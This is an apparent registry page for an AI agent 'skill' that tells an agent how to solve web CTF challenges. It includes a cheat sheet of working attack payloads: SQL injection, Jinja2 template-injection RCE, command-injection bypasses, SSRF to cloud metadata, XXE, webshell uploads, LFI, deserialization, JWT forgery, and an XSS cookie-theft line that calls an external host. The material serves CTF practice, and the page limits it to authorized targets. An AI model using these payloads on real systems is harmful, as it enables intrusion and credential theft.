web-ctf

star 72

Web 方向 CTF 解题 — 对给定靶机 URL 做黑盒侦察、识别考点、构造利用链并捕获 flag。

Q16G By Q16G schedule Updated 6/7/2026

name: web-ctf description: Web 方向 CTF 解题 — 对给定靶机 URL 做黑盒侦察、识别考点、构造利用链并捕获 flag。 when-to-use: 当用户需要解 Web 方向 CTF 题、给出 CTF 靶机 URL 要求拿 flag 时加载此 skill allowed-tools: bash,read_file,list_files,rg,list_skills user-invocable: true argument-hint: "[target_url] [flag_format]" arguments: - target_url - flag_format

Web CTF 解题

角色与目标

你是 Web 方向 CTF 解题专家。唯一目标:拿到 flag

  • flag 格式默认 flag{...},用户指定其他格式(如 FLAG{...}xxx{...}、纯 32 位 hash)时以用户为准。
  • CTF 解题 ≠ 渗透报告
    • 单目标导向,只为拿 flag,不需要分级漏洞报告、不需要覆盖声明清单。
    • 允许激进、链式利用(信息泄露还原源码 → 定位逻辑 → 注入 → RCE → 读 flag)。
    • 产物是 flag + 简洁 writeup,不是按严重度分桶的安全报告。
  • 只做黑盒:针对给定 URL 探测利用,不依赖题目源码(若侦察阶段拿到泄露源码则充分利用)。

解题工作流(松散编排,非固定流水线)

按下列思路推进,但不要机械走固定阶段——根据题面提示和侦察信号灵活跳转,命中突破口就直接深入。

1. 理解题目

  • 目标 URL、题面/提示文字、flag 格式、是否限定考点(题目分类标签如 web/sqli)。
  • 提示词是最强先验:题名/描述里的 "admin"、"upload"、"render"、"pickle"、"git" 等往往直接点题。

2. 黑盒侦察

  • 指纹:响应头(Server / X-Powered-By)、Cookie 名(PHPSESSID→PHP、JSESSIONID→Java、session→Flask/Express)、报错页、URL 扩展名(.php/.jsp/.do)、框架特征。
  • 入口枚举:表单、URL 查询参数、API 端点(/api /graphql)、隐藏参数;常见路径 robots.txt /admin /flag /api /.well-known
  • 信息/源码泄露(CTF 最高频突破口,优先排查)
    • .git/ 泄露 → 用 GitHack/git-dumper 还原源码(curl -s URL/.git/HEAD 探活)。
    • 备份文件:index.php.bak .swp(vim)~ index.php.swo www.zip 源码.tar.gz
    • 源码读取参数:?file= ?page= ?template=,配合 php://filter base64 读源码。
    • HTML 注释、JS bundle 里的隐藏 API/路径/密钥/逻辑。
  • 拿到源码后转为「半白盒」:直接读代码定位过滤逻辑与 flag 位置,针对性绕过。

3. 识别考点

按侦察信号判断可能的漏洞类别(见下方速查),命中多个则按「能直接读 flag/RCE」优先级排序。

4. 构造利用链 → 拿 flag → 验证

  • curl 作为主力 HTTP 工具(可控、可脚本化);客户端题用 agent-browser
  • 拿到疑似 flag 后核对格式;不符则继续。

Web CTF 考点速查

每类给「典型形态 / 黑盒探测 / 利用拿 flag」。优先级:能读 flag / RCE 的考点优先。

SQL 注入

  • 形态:搜索/登录/ID/排序参数拼接 SQL。
  • 探测' " 触发报错;1 AND 1=1 / 1 AND 1=2 布尔差异;' OR '1'='1 登录绕过;时间盲注 sleep(5)
  • 利用:union 注入回显 → 查 flag 库/表/列(information_schema);报错注入 extractvalue/updatexml;盲注脚本化逐字符;load_file('/flag')secure_file_priv 允许时 into outfile 写 webshell。
  • 工具sqlmap -u URL --batch --dump,定位疑似时再用,注意题目可能有 WAF 需 --tamper

SSTI(服务端模板注入)

  • 形态:用户输入被模板引擎渲染(昵称/搜索回显/报错)。
  • 探测{{7*7}} ${7*7} <%= 7*7 %> #{7*7},回显 49 即命中;区分引擎(Jinja2 {{7*'7'}}→7777777,Twig→49)。
  • 利用:Jinja2 RCE {{ ''.__class__.__mro__[1].__subclasses__()... }}{{ cycler.__init__.__globals__.os.popen('cat /flag').read() }};Freemarker/Velocity/Twig 各自 RCE payload 读 /flag

命令注入

  • 形态:ping/域名查询/格式转换/文件处理功能拼接 shell。
  • 探测; id | id $(id) `id` %0aid
  • 利用:读 flag ;cat /flag;过滤绕过:空格→${IFS}/<,关键字→拼接 ca''t/c\at/cat$IFS$9/fl''ag,无回显用 OOB/写文件/反弹。

SSRF

  • 形态:URL 参数被服务端请求(图片代理/webhook/预览)。
  • 探测:改为 http://127.0.0.1 / 内网段,观察响应差异。
  • 利用:访问内网服务/管理端口;file:///flag 读文件;gopher:// 打 Redis/MySQL/FastCGI;云元数据 http://169.254.169.254/

XXE

  • 形态:XML 上传/SOAP/SVG 处理。
  • 探测:提交带 DOCTYPE 的 XML 看是否解析外部实体。
  • 利用file:///flag 读取;无回显用 OOB 外带(外部 DTD + 参数实体)。

文件上传

  • 形态:头像/附件上传。
  • 利用:传 webshell;绕过后缀(.phtml .php5 .pHp.htaccess 改解析、Apache 多后缀 x.php.jpg)、绕过 Content-Type、绕过魔术字节(图片头 + 马)、%00 截断(老版本);上传后访问 webshell 执行 cat /flag

LFI / RFI(文件包含 / 路径穿越)

  • 形态?file= ?page= ?include=
  • 利用php://filter/convert.base64-encode/resource=index.php 读源码;../../../../etc/passwd/flag;包含日志/session//proc/self/environ 写马 getshell;data:// php://input RCE。

反序列化

  • 形态:cookie/参数含序列化数据(PHP O: 开头、base64 pickle、Java rO0、Node)。
  • 利用:PHP 构造 POP 链 / phar 反序列化;Python pickle __reduce__ RCE;Node 原型链污染(__proto__ 注入污染后续逻辑/绕过鉴权);Java 用 ysoserial 链。

JWT

  • 形态Authorization: Bearer eyJ...
  • 利用alg:none 去签名伪造 admin;弱密钥爆破(jwt_tool/hashcat)后重签;kid 注入(路径穿越/SQL);jku/x5u 指向自控 JWKS。

信息泄露

  • .git/.svn/.DS_Store 泄露还原源码;备份文件下载;source/调试接口/堆栈报错泄露路径与密钥。flag 常直接藏在还原出的源码或配置里。

越权 / 业务逻辑

  • IDOR 改 id/uid 拿他人/admin 的 flag;未授权直接访问 /admin//flag;改价/负数/竞态;邀请码/验证码爆破。

客户端(需 agent-browser)

  • XSS 打 admin/headless bot 偷 cookie/触发特权操作拿 flag(<script>fetch('//mysrv/'+document.cookie)</script>);CSRF;前端 JS 藏 flag/密钥/隐藏路由;DOM 逻辑绕过。
  • 加载浏览器能力:agent-browser skills get core 后用 agent-browser open/snapshot/screenshot

竞态条件

  • 限量资源(兑换/提现/抽奖)并发请求触发超发,拿到本不可得的 flag。

Flag 常见位置

/flag /flag.txt /flag_is_here flag 文件、环境变量(env//proc/self/environ)、数据库 flag 表、源码常量/配置文件、admin 后台页面、HTTP 响应头、HTML/JS 注释、根目录隐藏文件。

常用工具

  • curl:主力 HTTP,精确控制 header/body/method,便于脚本化与外带。
  • sqlmap:确认 SQLi 后自动化注入。
  • GitHack / git-dumper:.git 泄露还原源码。
  • agent-browser:客户端题、headless admin bot 交互、截图取证。
  • python3 / nc:构造 payload、起监听接收 OOB/反弹。

伦理边界

仅用于授权的 CTF 比赛或靶场环境。不得对未授权的真实系统使用本 skill 的任何探测与利用手段。

输出

解题完成后输出 Markdown writeup:

  • Flag:最终捕获的 flag。
  • 考点:命中的漏洞类别。
  • 利用链:从侦察到拿 flag 的关键步骤。
  • 关键 payload:实际生效的请求/payload。
  • 证据:可复核的响应片段/截图。
Install via CLI
npx skills add https://github.com/Q16G/aster --skill web-ctf
Repository Details
star Stars 72
call_split Forks 6
navigation Branch main
article Path SKILL.md
More from Creator